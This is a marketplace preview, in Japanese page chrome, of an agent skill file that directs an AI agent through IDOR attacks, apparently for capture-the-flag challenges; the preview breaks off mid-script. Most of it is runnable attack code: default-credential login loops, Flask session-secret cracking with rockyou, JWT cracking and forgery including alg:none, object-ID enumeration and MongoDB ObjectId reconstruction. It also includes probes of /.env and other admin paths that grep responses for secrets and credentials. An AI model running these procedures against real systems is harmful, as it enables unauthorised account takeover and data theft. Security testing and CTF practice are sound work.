Skip to main content

exploit-idor

Insecure Direct Object References (IDOR) — authorization bypass through predictable object references (sequential IDs, UUIDs, filenames, encoded IDs). Covers horizontal/vertical privilege escalation, ID enumeration, HTTP method tampering, and JWT sub claim manipulation.

インストールへ移動

ソース情報

リポジトリ
BitterSecurity/Decepticon
ソースの最終更新活動
2026年6月2日 18:57
検出された SKILL.md の言語
英語
スター
5,522
フォーク
1,048

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
exploit-idor
description
Insecure Direct Object References (IDOR) — authorization bypass through predictable object references (sequential IDs, UUIDs, filenames, encoded IDs). Covers horizontal/vertical privilege escalation, ID enumeration, HTTP method tampering, and JWT sub claim manipulation.
metadata
{"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"idor, insecure direct object reference, authorization bypass, access control, object reference, id enumeration, sequential id, uuid guessing, horizontal privilege, vertical privilege, broken access control, parameter tampering, user id, object id"}
# Insecure Direct Object References (IDOR) Exploits missing or inadequate authorization checks on object references (IDs, filenames, GUIDs), allowing access to other users' resources. ## Default Credentials Fast-Path (when `default_credentials` is a co-tag) When `default_credentials` appears alongside `idor` in the challenge tags, attempt login FIRST before any IDOR probing: ```bash # Try top default credential pairs in your FIRST exploit bash call for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do user="${creds%%:*}"; pass="${creds##*:}" resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \ -d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null) code=$(echo "$resp" | tail -1) [ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break done ``` A valid session reduces all subsequent attack surface to authenticated endpoints — this is the fastest path to flag for dual-tag challenges. Only proceed to IDOR enumeration after confirming or exhausting default credentials. ## Flask Session Cookie — SECRET_KEY Brute-Force Fast-Path **When to use**: After logging in (default creds), if the session cookie starts with `eyJ` (base64) and contains a `.` separator without a JWT `alg` header — it is a Flask itsdangerous cookie. If modifying your own ID in the cookie to another user's ID causes a signature rejection, brute-force the SECRET_KEY IMMEDIATELY before doing any endpoint enumeration. Evidence pattern (real-world evidence): `test:test` → `user_id=10032` in Flask session → IDOR target at `/order/<id>/receipt` → cookie rejected when manually modifying user_id → SECRET_KEY `your_secret_key` found via flask-unsign → forged cookie with target user_id → flag. ```bash # 1. Decode the Flask session cookie pip install flask-unsign -q 2>/dev/null flask-unsign --decode --cookie '<SESSION_COOKIE_VALUE>' # 2. Brute-force the signing secret (try rockyou first, then common secrets) flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval # Fallback: try common weak secrets inline for secret in "secret" "secret_key" "your_secret_key" "flask_secret" "mysecret" "password" "admin" "changeme" "dev" "production"; do result=$(flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --secret "$secret" 2>/dev/null) && echo "SECRET: $secret" && break done # 3. Once secret found — forge a cookie with admin/target user_id flask-unsign --sign --cookie "{'user_id': <TARGET_ID>, 'username': 'admin'}" --secret '<RECOVERED_SECRET>' # 4. Use forged cookie to access target resources curl -s "http://<TARGET>/order/<TARGET_ID>/receipt" -H "Cookie: session=<FORGED_COOKIE>" -o /tmp/idor_resp.txt grep -iE 'secret|token|key|cred|flag' /tmp/idor_resp.txt ``` **Decision rule**: If the flask-unsign crack against rockyou is not yielding the secret (no progress output), pivot to endpoint enumeration with your own valid session (horizontal IDOR without cookie forgery may still work). ## Detection Strategy ```bash # Horizontal IDOR — access another user's data curl -s 'https://<TARGET>/api/user/1001/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_own.txt curl -s 'https://<TARGET>/api/user/1002/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_other.txt diff idor_own.txt idor_other.txt # Vertical IDOR — access admin resources as regular user curl -s 'https://<TARGET>/api/admin/users' -H 'Cookie: session=<USER_SESSION>' -o idor_vertical.txt # ID enumeration for id in $(seq 1 100); do STATUS=$(curl -s -o /dev/null -w '%{http_code}' "https://<TARGET>/api/document/${id}" -H 'Cookie: session=<SESSION>') echo "ID $id: $STATUS" done > idor_enum.txt ``` ## Common IDOR Patterns | Pattern | Example | Test | |---------|---------|------| | Sequential integer IDs | `/api/invoice/1001` | Increment/decrement ID | | UUID/GUID | `/api/doc/550e8400-e29b-41d4-a716-446655440000` | Capture other UUIDs from responses | | Filename | `/download?file=report_userA.pdf` | Change username in filename | | Encoded ID | `/profile?id=MTAwMQ==` (base64) | Decode, modify, re-encode | | Hashed ID | `/api/user/5d41402abc4b` | Check if MD5/SHA1 of predictable value | | JWT sub claim | `{"sub": "1001"}` | Modify sub claim (if no signature check) | ## Predictable ID Generation Patterns (when IDs look random but encode account-derivable data) Some IDs that LOOK random (long integers, hex strings, timestamps) are deterministic transformations of public data — registration order, account email, signup timestamp, or the user's own ID + a fixed offset. When the target says "find the first user" / "access account #1" / "view the earliest registered user," the bypass is usually NOT brute-force enumeration but RECONSTRUCTING the ID generator from observed samples. Always collect THREE observed IDs first (yours + at least two others from public lists, comments, or response leaks). Then check each pattern: ```bash # Sample: your own ID and any leaked peer IDs (from a /users listing, a comment author field, a leaderboard, etc.) MY_ID="1734567890123" PEER_A="1734567891456" PEER_B="1734567894892" # 1. Sequential / counter — diffs are small consistent integers echo "$((PEER_A - MY_ID))" # e.g. 1333 → counter increment per account echo "$((PEER_B - PEER_A))" # e.g. 3436 → spacing maps to signup gap # 2. Unix timestamp millisecond — ID has 13-digit shape, decodes to a sensible date date -d "@$((MY_ID / 1000))" '+%Y-%m-%d %H:%M:%S' # if plausible, ID is timestamp_ms # 3. Snowflake — 64-bit ID: timestamp_ms (41 bits) | machine_id (10) | sequence (12) python3 -c " mid = int('$MY_ID') ts_ms = (mid >> 22) + 1288834974657 # Twitter snowflake epoch offset import datetime print(datetime.datetime.utcfromtimestamp(ts_ms / 1000).isoformat()) " # 4. Hash of public value (md5/sha1/sha256 of email, username, signup time) for known_email in "admin@target.com" "test@target.com" "first@target.com"; do for algo in md5 sha1 sha256; do HASH=$(echo -n "$known_email" | openssl dgst -$algo | awk '{print $2}') echo "$algo($known_email) = $HASH" done done # 5. Reversible encoding — base64/hex/zlib of structured payload echo "$MY_ID" | base64 -d 2>/dev/null echo "$MY_ID" | xxd -r -p 2>/dev/null | head -c 200 python3 -c "import base64, zlib; print(zlib.decompress(base64.b64decode('$MY_ID')))" 2>/dev/null ``` **Decision rule**: once one pattern aligns, derive the target ID directly. Examples: - Timestamp-based + "first user" challenge → compute `min(observed_ids)` and walk backwards by typical signup gap to find ID #1's timestamp; or query the app for the earliest known created_at and reconstruct. - Sequential counter + "first user" → use `1`, `0`, `-1` (off-by-one) and the smallest leaked ID minus its observed offset. - Snowflake + "specific account at known time" → compose timestamp_ms backwards: `(target_ts_ms - epoch) << 22 | sequence`. - Hashed public value → enumerate known emails/usernames through the hash function; the value that hashes to a known peer ID confirms the algorithm. **Anti-pattern**: brute-forcing sequential integers when the ID space is 13+ digits — at 1 req/sec the search exhausts the budget before reaching meaningful candidates. Always check pattern alignment first. ### MongoDB ObjectId Reconstruction MongoDB ObjectIds look random but are a deterministic composite: `[4B timestamp][3B machine identifier][2B process id][3B counter]`. When the target app uses ObjectIds in URL paths (`/profile/<oid>`, `/users/<oid>/data`, `/api/doc/<oid>`) AND leaks ANY timing or ordering info about peer accounts, you can reconstruct a target ObjectId without enumeration: ``` target_oid_hex = <target_timestamp_sec_hex_4B> + <my_machine_pid_hex_5B> + <target_counter_hex_3B> ``` The middle 5 bytes (machine+pid) are SHARED across every ObjectId generated by the same mongod process — extract them once from your own observable ObjectId (registration response, profile URL, API response). **Information leak surfaces that complete the formula**: | Leak surface | Provides | |---|---| | `/starttime`, `/about`, `/info`, "Member since" page | Target account's creation Unix timestamp (4B portion) | | Registration response with `distance` / `offset` / `you are N from target` | Counter offset from your own counter to target's (3B portion) | | Sequential signup observation (register 2-3 accounts back-to-back) | Counter increment per second + base counter at known timestamp | | Object listing with creation timestamps (admin panels, audit logs) | Direct counter samples | **Concrete reconstruction**: ```bash # Step 1 — observe self ObjectId (from /register response, /profile URL, etc.) MY_OID="65f4a3b2c1d2e3f4a5b6c7d8" # 24 hex chars = 12 bytes MY_TS_HEX="${MY_OID:0:8}" # first 4B = timestamp MID_PID_HEX="${MY_OID:8:10}" # bytes 5-9 (10 hex chars) — machine+pid (SHARED) MY_COUNTER_HEX="${MY_OID:18:6}" # last 3B = counter # Step 2 — obtain target's timestamp + counter offset TARGET_TS_SEC=$(curl -s "http://<TARGET>/starttime" | grep -oE '[0-9]{10}') DISTANCE=$(grep -oE 'distance.*[0-9]+' /tmp/register_resp.txt | head -1 | grep -oE '[0-9]+$') # Step 3 — derive target ObjectId TARGET_TS_HEX=$(printf '%08x' "$TARGET_TS_SEC") MY_COUNTER_DEC=$((16#$MY_COUNTER_HEX)) TARGET_COUNTER_DEC=$((MY_COUNTER_DEC - DISTANCE)) TARGET_COUNTER_HEX=$(printf '%06x' "$TARGET_COUNTER_DEC") TARGET_OID="${TARGET_TS_HEX}${MID_PID_HEX}${TARGET_COUNTER_HEX}" # Step 4 — IDOR with derived ObjectId curl -s "http://<TARGET>/profile/${TARGET_OID}" ``` **Decision rule**: when ANY of (a) app uses ObjectId in URL paths, (b) self-observable ObjectId is in hand, (c) target timestamp is disclosed, (d) counter offset is disclosed or derivable from sequential registration — compute the target ObjectId directly. Skip enumeration; 24-hex-char keyspace is computationally unreachable but algorithmically trivial. ## JWT / Session Signature Cracking (when forged tokens are rejected) If you decoded a JWT/session token, modified a claim, and the server rejected the modified token (signature invalid), the next step is NOT manual endpoint enumeration — it is signature secret recovery. With the secret you can sign a valid privesc'd token in one operation. ### Flask session (itsdangerous) ```bash # Detect: cookie starts with "eyJ" base64 OR contains a "." separator with no JWT alg header pip install flask-unsign 2>/dev/null flask-unsign --decode --cookie '<COOKIE_VALUE>' flask-unsign --unsign --cookie '<COOKIE_VALUE>' --wordlist /usr/share/wordlists/flask-session-cookie-bruteforcer.txt # Or with rockyou flask-unsign --unsign --cookie '<COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt # Once secret found: flask-unsign --sign --cookie "{'user_id': 1}" --secret '<RECOVERED_SECRET>' ``` ### Generic JWT (HS256) ```bash # jwt_tool — interactive cracker jwt_tool '<JWT>' -C -d /usr/share/wordlists/rockyou.txt # hashcat mode 16500 (JWT HS256) echo '<JWT>' > jwt.hash hashcat -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt --force # Once secret found, forge with python: python3 -c "import jwt; print(jwt.encode({'user_id':1,'sub':'admin'}, '<SECRET>', algorithm='HS256'))" ``` ### Decision rule (MANDATORY) | State | Next action | |-------|-------------| | JWT decoded, claim modified, server rejected | Crack signing secret FIRST (flask-unsign or jwt_tool against a common-passwords wordlist) before manual enumeration | | Crack succeeds | Forge token with desired claims, retry IDOR — done | | Crack fails (no wordlist hit, RS256/asymmetric) | THEN fall back to endpoint enumeration / IDOR via form parameters | | RS256 detected | Try `alg: none` confusion (`jwt_tool -X a`) before assuming uncrackable | **Why this rule exists**: JWT/session signature validation is often implemented with weak secrets that crack against a common-passwords wordlist immediately. Spending the dispatch on manual endpoint guessing while the signing secret is one wordlist run away is a critical misallocation. ### Post-Forgery Endpoint Probe (MANDATORY after JWT forgery succeeds) After successfully forging a JWT (alg:none, key confusion, or cracked secret), immediately probe these endpoints with the forged token as BOTH Bearer header and cookie — do not assume the flag is at a single path: ```bash FORGED="<FORGED_JWT>" BASE="http://<TARGET>" for path in /admin /api/admin /api/users /dashboard /.env /api/flag /admin/flag /api/admin/flag; do for method in GET POST; do STATUS=$(curl -s -o /tmp/jwt_probe.txt -w '%{http_code}' -X "$method" \ -H "Authorization: Bearer $FORGED" -b "token=$FORGED" "$BASE$path") echo "$method $path: $STATUS" [ "$STATUS" = "200" ] && grep -iE 'secret|token|key|cred|flag' /tmp/jwt_probe.txt | head -3 && break 2 done done # If all 403 — try additional privilege claims alongside the sub modification for claims in '{"sub":"admin","role":"admin"}' '{"sub":"admin","is_admin":true}' '{"sub":"admin","admin":1}'; do
GitHubで見る
この SKILL.md は非常に大きいため、SkillsMP では最初のセクションだけを表示しています。 GitHubで見る